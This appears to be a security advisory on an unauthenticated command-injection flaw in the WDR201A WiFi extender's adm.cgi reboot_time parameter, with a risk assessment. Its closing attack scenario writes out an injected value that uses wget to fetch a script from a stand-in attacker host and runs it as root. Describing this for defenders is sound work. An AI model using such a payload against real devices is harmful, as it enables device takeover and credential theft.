WDR201A WiFi Extender EUVD-2026-27124

The WDR201A device must have its web management interface accessible over the network (default configuration for remote administration). The specific vulnerable code path requires the attacker to submit a POST request with reboot_enabled=1 set - this parameter acts as a trigger that invokes the vulnerable reboot_time function. No authentication is required, meaning the vulnerability is exploitable against default configurations without credentials. The attack works regardless of whether scheduled reboot functionality has been previously configured by legitimate administrators. Network accessibility is the primary limiting factor: devices behind NAT without port forwarding or those on isolated network segments cannot be exploited remotely, though LAN-based attackers (including malware on connected clients) can still leverage the vulnerability.

This vulnerability represents CRITICAL real-world risk with multiple high-severity indicators converging: CVSS 9.3 (network-accessible, low complexity, no privileges/interaction required), publicly available exploit code confirmed by VulnCheck, and SSVC assessment of 'automatable' with 'total' technical impact. The combination of unauthenticated remote exploitation and public POC creates immediate weaponization potential. However, risk is somewhat constrained by the limited market deployment of this specific consumer-grade WiFi extender model from a smaller manufacturer. Organizations should prioritize based on asset inventory - if WDR201A devices exist on networks, treat as emergency-tier remediation. The absence of CISA KEV listing suggests either limited detection of exploitation attempts or narrow targeting, but the public POC published in May 2026 significantly lowers the barrier for widespread attacks. Devices deployed in SOHO or IoT environments face highest risk due to typical lack of network segmentation.

An unauthenticated attacker scans the internet for WDR201A WiFi Extenders exposing their web management interface on default ports. Upon identifying a target at 203.0.113.45, the attacker crafts a malicious HTTP POST request to http://203.0.113.45/adm.cgi with parameters reboot_enabled=1 and reboot_time='; wget http://attacker.com/malware.sh -O /tmp/m.sh; chmod +x /tmp/m.sh; /tmp/m.sh;'. The vulnerable adm.cgi binary executes the injected commands with root privileges, downloading and executing attacker-controlled shellcode that establishes persistent backdoor access, exfiltrates WiFi credentials, and pivots to connected network devices.